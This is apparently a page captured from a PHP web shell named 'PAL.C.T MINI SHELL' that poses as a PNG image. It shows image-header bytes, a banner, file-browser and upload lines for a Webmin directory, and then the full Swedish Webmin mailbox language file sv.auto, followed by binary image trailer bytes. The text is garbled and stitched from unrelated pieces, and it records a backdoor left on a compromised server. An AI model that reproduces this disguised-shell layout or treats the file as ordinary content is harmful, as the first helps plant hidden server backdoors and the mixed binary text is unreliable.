‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/sv.auto

index_title=LÀs anvÀndarmail
index_none=Du fÄr inte lÀsa e-post för nÄgra anvÀndare pÄ detta system.
index_header=AnvÀndarens postlÄdor
index_empty=Ingen post
index_return=anvÀndarlista
index_esystem=Ingen av de e-postservrarna som stöds (Exim, Qmail, Postfix och Sendmail) upptÀcktes pÄ ditt system. Du mÄste justera <a href='$1'>modulkonfiguration</a> för att stÀlla in postservern och eventuellt e-postvÀgar manuellt.
index_esystem2=E-postservern instÀlld i <a href='$1'>modulkonfiguration</a> hittades inte pÄ ditt system. Du mÄste justera konfigurationen för att anvÀnda rÀtt server.
index_esystem3=Ett fel uppstod vid kontakt med e-postsystemet som stÀllts i <a href='$1'>modulkonfigurationen</a>: $2.
index_system6=E-postserver: Exim
index_system5=E-postserver: Qmail+VPopMail
index_system4=E-postserver: Qmail+LDAP
index_system2=E-postserver: Qmail
index_system1=E-postserver: Sendmail
index_system0=E-postserver: Postfix
index_toomany=Det finns för mÄnga anvÀndare pÄ ditt system för att kunna visas pÄ en sida.
index_find=Hitta anvÀndare dÀr anvÀndarnamn
index_equals=jÀmlikar
index_contains=innehÄller
index_eperl=Perl-modulen $1 som behövs för det valda SMTP-autentiseringslÀget Àr inte installerat eller saknas en beroende modul. <a href='$2'>Klicka hÀr</a> för att installera det nu.
index_file=LĂ€s Mail i File eller Maildir:
index_nousers=Inga anvÀndare hittades!
index_nousersmail=Inga anvÀndare med e-post hittades.

mail_normal=Vanligt
mail_for2=För anvÀndare $1
mail_sent=I skickad e-postlista
mail_level=Göra
mail_open=Öppen
mail_pos=Meddelanden $1 till $2 av $3 i $4
mail_none=Den hÀr anvÀndaren har inga meddelanden i $1
mail_nosort=ÅterstĂ€ll sortering.
mail_mark=Markera som:
mail_mark0=OlÀst
mail_mark1=LĂ€sa
mail_mark2=SĂ€rskild
mail_forward=FramÄt
mail_move=Flytta till:
mail_copy=Kopia till:
mail_rfc=FrÄn rad
mail_eexists=Meddelandet finns inte lÀngre!
mail_fchange=FörÀndra
mail_indexlink=ÅtergĂ„ till brevlĂ„dan
mail_deleteall=Radera allt
mail_black=Neka avsÀndare
mail_white=TillÄt avsÀndare
mail_whitemove=TillÄt avsÀndare och inkorg
mail_efile=E-postfil finns inte
mail_fromsrch=Hitta e-post med samma avsÀndare
mail_subsrch=Hitta e-post med samma Àmne
mail_tosrch=Hitta e-post med mottagaren
mail_fromfilter=Skapa filter efter avsÀndare
mail_tofilter=Skapa filter efter mottagare
mail_subfilter=Skapa filter efter Àmne
mail_unknown=OkÀnd

mail_sign=Skylt med nyckel
mail_nosign=&lt;Skriv inte&gt;
mail_crypt=Kryptera för
mail_nocrypt=&lt;Kryptera inte&gt;
mail_samecrypt=&lt;Nycklar frÄn destinationsadresser&gt;
mail_addresses=Hantera adressbok
mail_folders=Hantera mappar
mail_err=Ett fel intrÀffade med att lista e-post i denna mapp : $1
mail_loginheader=POP3-serverinloggning
mail_loginheader2=IMAP-serverinloggning
mail_logindesc=Du mÄste ange ett anvÀndarnamn och lösenord för att komma Ät e-post i din inkorg pÄ e-postservern $1.
mail_loginuser=AnvÀndarnamn
mail_loginpass=Lösenord
mail_loginmailbox=IMAP-brevlÄda
mail_login=Logga in
mail_reset=Klar
mail_logout=Ändra POP3-inloggning
mail_logout2=Ändra IMAP-inloggning
mail_sig=Redigera signatur
mail_jump=Hoppa till sidan :
mail_of=av
mail_replyto=Svara till
mail_folder=Mapp
mail_delall=Radera allt
mail_deltrash=Töm papperskorgen
mail_search2=Söka efter:
mail_search3=Hitta med poÀng ovan:
mail_advanced=avancerad sökning
mail_return2=AnvÀndar-e-post
mail_esystem=Ett fel uppstod nÀr e-postsystemet kontaktades: $1. Detta mÄste ÄtgÀrdas av systemadministratören.
mail_selread=VÀlj lÀs.
mail_selunread=VÀlj olÀsta.
mail_selspecial=VĂ€lj special.
mail_specialsync=Sync Special

view_desc2=Meddelande $1 för anvÀndare $2
view_desc3=Meddelande $1
view_sent=Meddelande $1 i skickad e-postlista
view_body=MeddelandeinnehÄll
view_nobody=Det hÀr meddelandet har inget innehÄll i kroppen.
view_allheaders=Visa alla rubriker
view_noheaders=Visa grundlÀggande rubriker
view_afile=Bilaga namn
view_atype=Tillbehörstyp
view_aactions=Handlingar
view_aview=Se
view_aopen=Öppen
view_asave=Spara
view_aplain=RĂ„
view_anofile=Inget filnamn
view_asize=Filstorlek
view_enew=Redigera som nytt
view_print=Skriva ut
view_strip=Ta bort bilagor
view_mark=Markera som:
view_mark0=OlÀst
view_mark1=LĂ€sa
view_mark2=SĂ€rskild
view_markas0=OlÀst
view_markas1=LĂ€sa
view_markas2=SĂ€rskild
view_return=original e-post
view_sub=Bifogad e-post
view_sub2=Bifogat e-postmeddelande frÄn $1
view_egone=Det hÀr meddelandet finns inte lÀngre
view_eugone=Den hÀr anvÀndaren finns inte

view_gnupg=GnuPG-signaturverifiering
view_gnupg_0=Signatur av $1 Àr giltig.
view_gnupg_1=Signatur av $1 Àr giltig, men förtroendekedjan kunde inte upprÀttas.
view_gnupg_2=Signatur av $1 Àr <b>INTE</b> giltig.
view_gnupg_3=Nyckel-ID $1 finns inte i din lista, sÄ signatur kunde inte verifieras.
view_gnupg_4=Det gick inte att verifiera signaturen : $1
view_crypt=GnuPG-e-dekryptering
view_crypt_1=Meddelandet Àr krypterat, men GnuPG-stödet Àr inte installerat.
view_crypt_2=Det gick inte att dekryptera meddelandet : $1
view_crypt_3=E-post dekrypterades framgÄngsrikt.
view_crypt_4=Krypterad del av meddelandet dekrypterades framgÄngsrikt.
view_recv=<a href='$2'>HÀmta nyckel-ID $1 frÄn nyckelserver</a>.
view_folder=ÅtergĂ„ till brevlĂ„dan
view_dheader=Ta bort bilagan till servern
view_detach=Ta bort fil:
view_dall=&lt;Alla filer&gt;
view_dir=till serverfil eller katalog:
view_black=Förneka sÀndaren
view_white=TillÄt avsÀndare
view_whitemove=TillÄt avsÀndare och inkorg
view_razor=Rapportera skrÀppost
view_ham=Rapportera Ham
view_hammove=Rapportera skinka och inkorg
view_razordel=Ta bort skrÀppost
view_dstatus=Misslyckad leveransstatus
view_dstatusok=FramgÄngsrik leveransstatus
view_final-recipient=Slutlig mottagare
view_diagnostic-code=Anledning till misslyckande
view_remote-mta=FjÀrr-postserver
view_reporting-mta=Rapportera e-postserver
view_astext=Visa som text
view_ashtml=Visa som HTML
view_images=Visa bilder
view_raw=Visa rÄtt meddelande
view_aall=Spara alla bilagor som ZIP.
view_aslideshow=Visa alla bilder.

enew_title=Redigera e-post
reply_mailforward=Vidarebefordrade meddelanden
reply_attach3=Uppladdade bilagor
reply_body=Meddelandetext
reply_errc=Det gick inte att kopiera e-post
reply_errm=Det gick inte att flytta e-post
reply_return=skriv brev
reply_efwdnone=Inget av de vidarebefordrade meddelandena finns
reply_dsn=Vill du lÀsa statusmeddelande?
reply_del=BegÀr leveransstatusmeddelande?
reply_aboot=LĂ€gg till mottagare i adressboken?
reply_tabfrom=FrÄn
reply_tabto=Till
reply_tabreplyto=Svara till
reply_tabcc=cc
reply_tabbcc=bcc
reply_tabsigning=Signering
reply_taboptions=alternativ
reply_addattach=LÀgg till bilaga fÀlt.
reply_addssattach=LÀgg till fÀlt för bilagor pÄ serversidan.
reply_html0=Skriva text
reply_html1=Skriv HTML

reply_spell=Sök efter stavfel?
reply_draft=Spara som utkast
reply_save=Spara och redigera

send_esubject=E-postÀmne saknas
send_title2=E-post sparat
send_sending=Skickar e-post till $1 ..
send_epath=Sendmail körbar $1 finns inte.
send_efile=Det gick inte att lÀsa bilaga $1 : $2 
send_done=.. Gjort.

send_epass=Du kan inte skriva under ett meddelande eftersom din lösenfras Ànnu inte Àr instÀlld i GnuPG-modulen.
send_esign=Det gick inte att underteckna meddelandet : $1
send_ekey=Det gick inte att hitta nyckel för e-postadress $1
send_ecrypt=Det gick inte att kryptera meddelandet : $1
send_eword=Felstavad ord $1
send_eword2=Felstavat ord $1 - möjliga korrigeringar $2
send_eline=I rad $1 :
send_espell=Följande stavfel hittades i ditt meddelande ..
send_draft=E-post till $1 sparad i utkastmapp.
send_drafting=Sparar e-post till $1 i utkastmappen ..
send_eattachsize=E-postbilagan överskred den maximala tillÄtna storleken pÄ $1 byte

delete_title=Ta bort post
delete_rusure=Är du sĂ€ker pĂ„ att du vill ta bort $1 markerade meddelanden frĂ„n $2? Det kan ta lite tid för en stor e-postfil. Tills raderingen Ă€r klar bör ingen annan Ă„tgĂ€rd utföras.
delete_rusure2=Är du sĂ€ker pĂ„ att du vill ta bort det hĂ€r meddelandet frĂ„n $1? Det kan ta lite tid för en stor e-postfil. Tills raderingen Ă€r klar bör ingen annan Ă„tgĂ€rd utföras.
delete_ok=Radera nu
delete_emnone=Ingen e-post vald för att markera
delete_efnone=Ingen e-post har valts för att vidarebefordra
delete_ebnone=Ingen e-post vald för att förneka
delete_ewnone=Ingen e-post vald för att tillÄta
delete_ernone=Ingen e-post vald för att rapportera som skrÀppost
delete_ehnone=Ingen e-post vald för att rapportera som skinka
delete_emoveuser=AnvÀndaren att flytta e-post till finns inte
delete_ecopyuser=AnvÀndaren att kopiera e-post till finns inte
delete_emovecannot=Du fÄr inte flytta e-post till den angivna anvÀndaren
delete_ecopycannot=Du fÄr inte kopiera e-post till den angivna anvÀndaren
delete_emovenone=Ingen e-post valt att flytta
delete_ecopynone=Ingen e-post vald att kopiera
delete_nobutton=Ingen knapp klickade
delete_ereport=Det gick inte att rapportera som skrÀppost : $1
delete_errc=Det gick inte att kopiera e-post
delete_errm=Det gick inte att flytta e-post

confirm_title=BekrÀfta radering
confirm_warn=Är du sĂ€ker pĂ„ att du vill ta bort de markerade $1 meddelandena frĂ„n den hĂ€r mappen?
confirm_warnf=Är du sĂ€ker pĂ„ att du vill ta bort de valda meddelandena $1 frĂ„n mappen <b>$2</b>?
confirm_warn2=PÄ grund av storleken och formatet pÄ din brevlÄda kan det ta lite tid. Tills raderingen Àr klar bör ingen annan ÄtgÀrd utföras.
confirm_warn3=Är du sĂ€ker pĂ„ att du vill ta bort det hĂ€r meddelandet?
confirm_warn4=Tills raderingen Àr klar bör ingen annan ÄtgÀrd utföras.
confirm_ok=Radera nu
confirm_warnall=Är du sĂ€ker pĂ„ att du vill ta bort alla meddelanden i den hĂ€r mappen?
confirm_warnallf=Är du sĂ€ker pĂ„ att du vill ta bort alla meddelanden i mappen <b>$1</b>?

search_escore=Saknad eller ogiltig skrÀppost
search_efield=Du mÄste vÀlja en söktyp.
search_ewhat=Ingen text att matcha mot angiven för rad $1
search_enone=Inga sökkriterier har angivits
search_results2=$1 e-postmeddelanden som matchar $2
search_results3=$1 e-postmeddelanden som inte matchar $2
search_results4=$1 e-postmeddelanden som matchar din sökning
search_results5=$1 e-postmeddelanden dÀr $2 matchar $3
search_msg2=Sökresultat för $1
search_msg4=Sökresultat
search_msg5=Sökresultat för skrÀppost med poÀng $1
search_msg6=Sökresultat för $1 i $2 -fÀlt
search_local=I lokala mappar
search_all=I alla mappar
search_limit=(frÄn de sista $1 meddelandena)
search_status=Med status
search_attach=MÄste du ha bilagor?
search_allstatus=NÄgra
search_onestatus=Endast status
search_latest=Meddelanden att söka
search_nolatest=Allt i mappen
search_latestnum=Endast senaste
search_elatest=Det saknas eller ogiltigt antal meddelanden att söka efter
search_withstatus=, med status $1

folder_inbox=Inkorg
folder_sent=Skickade post
folder_drafts=utkast
folder_trash=SkrÀp

detach_err=Det gick inte att ta bort filen
detach_edir=Ingen fil eller katalog att spara till inmatad
detach_eopen=Det gick inte att öppna $1 : $2 
detach_ewrite=Det gick inte att skriva till $1 : $2 
detach_title=Ta bort filen
detach_ok=Skrev bilaga till serversidofilen $1 ($2).

sform_title=avancerad sökning
sform_header=Avancerade alternativ för e-postsökning
sform_andmode=KriterielÀge
sform_and=Hitta meddelanden som matchar alla kriterier nedan. ..
sform_or=Hitta meddelanden matchar alla kriterier nedan. ..
sform_neg0=innehÄller
sform_neg1=innehÄller inte
sform_ok=Sök nu
sform_folder2=Sök i mapp (er)
sform_all=&lt;Alla mappar&gt;
sform_local=&lt;Lokala mappar&gt;
sform_where=Var
sform_text=texten
sform_from=FrÄn: rubrik
sform_subject=Ämne: rubrik
sform_to=Till: rubrik
sform_cc=Kopia: rubrik
sform_bcc=Bcc: rubrik
sform_date=Datum: rubrik
sform_body=meddelandekropp
sform_headers=valfri rubrik
sform_allmsg=hela meddelandet
sform_size=meddelandestorlek
sform_return=avancerat sökformulÀr

find_enone=Inga anvÀndare som matchade din sökning hittades
find_title=sökresultat
find_results=AnvÀndare som matchar sökningen efter $1 ..
find_user=AnvÀndarnamn
find_real=Riktiga namn
find_group=Grupp
find_home=Hemkatalog
find_size=E-poststorlek
find_incount=E-post
find_sentcount=sÀnde
find_fcount=mappar
find_in=$1 in $2

acl_fromname=Riktigt namn för FrÄn adress
acl_unlimited=ObegrÀnsat
acl_sent=Lagra skickad e-post i brevlÄdan
acl_canattach=Kan bifogas filer pÄ serversidan?
acl_candetach=Kan ta bort filer till servern?
acl_usersm=AnvÀndare som matchar
acl_asame=Samma som anvÀndarnamn
acl_usersu=Med UID inom rÀckvidd
acl_sec=Inkludera sekundÀra grupper?
acl_dir=Kan lÀsa e-postfiler i katalogen
acl_dirauto=BestÀm automatiskt (var som helst om alla anvÀndare Àr synliga, ingen annanstans)

log_movemail=Flyttade $1 meddelanden frÄn $2 till $3
log_copymail=Kopierade $1 meddelanden frÄn $2 till $3
log_read=LÀs mail för $1

emodified=Den hĂ€r mappen har Ă€ndrats sedan den senast visades! ÅtergĂ„ till <a href='$1'>e-postlistan</a> och försök igen.

razor_title=Rapportera som skrÀppost
razor_title2=Rapportera som skinka
razor_report=Rapportera detta meddelande till Razor och andra SpamAssassin-spamblockerande databaser ..
razor_report2=Rapportera de valda meddelandena till Razor och andra SpamAssassin-spamblockerande databaser ..
razor_report3=Avrapportera de valda meddelandena till Razor och andra SpamAssassin-spamblockerande databaser ..
razor_done=.. Gjort
razor_err=.. misslyckades! Se felmeddelandet ovan för anledningen.
razor_moved=.. gjort och flyttade till mappen $1.
razor_deleted=.. gjort och raderat meddelande ocksÄ.

ham_title=Rapportera som skinka
ham_report=Rapportera detta meddelande som icke-skrÀppost till Razor och andra SpamAssassin-databaser ..

black_title=Förnekar avsÀndaren
black_done=Lade till e-postadressen $1 i SpamAssassins lista över nekade adresser.
black_already=E-postadressen $1 finns redan pÄ SpamAssassins lista över avvisade adresser.

white_title=TillÄter avsÀndare
white_done=Lade till e-postadressen $1 i SpamAssassins tillÄtna adresslista.
white_already=E-postadressen $1 finns redan pÄ SpamAssassins tillÄtna adresslista.

ldap_emod=Perl-modul $1 saknas för att ansluta till LDAP
ldap_econn=Det gick inte att ansluta till LDAP-server $1 port $2
ldap_elogin=Det gick inte att binda till LDAP-server $1 som $2 : $3 
ldap_ehost=Ingen LDAP-server instÀlld i modulkonfigurationen
ldap_eport=Ingen giltig LDAP-serverport anges i modulkonfigurationen
ldap_euser=Ingen LDAP-inloggning instÀlld i modulkonfigurationen
ldap_ebase=Ingen LDAP-bas DN instÀlld i modulkonfiguration

delall_title=Ta bort all post
delall_rusure=Är du sĂ€ker pĂ„ att du vill ta bort all e-post frĂ„n $1? $2 meddelanden totalt $3 kommer att raderas för alltid.
delall_ok=Radera nu

slide_title=Bifogade bilder
slide_prev=Tidigare
slide_next=NĂ€sta

left_mail=Post
left_search=Sök:
left_folders=Hantera mappar
left_addresses=Adressbok
left_prefs=MailinstÀllningar
left_forward=Vidarebefordra e-post
left_autoreply=Automatisk svar
left_filter=E-postfilter
left_pass=Ändra lösenord
left_sig=Redigera signatur
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚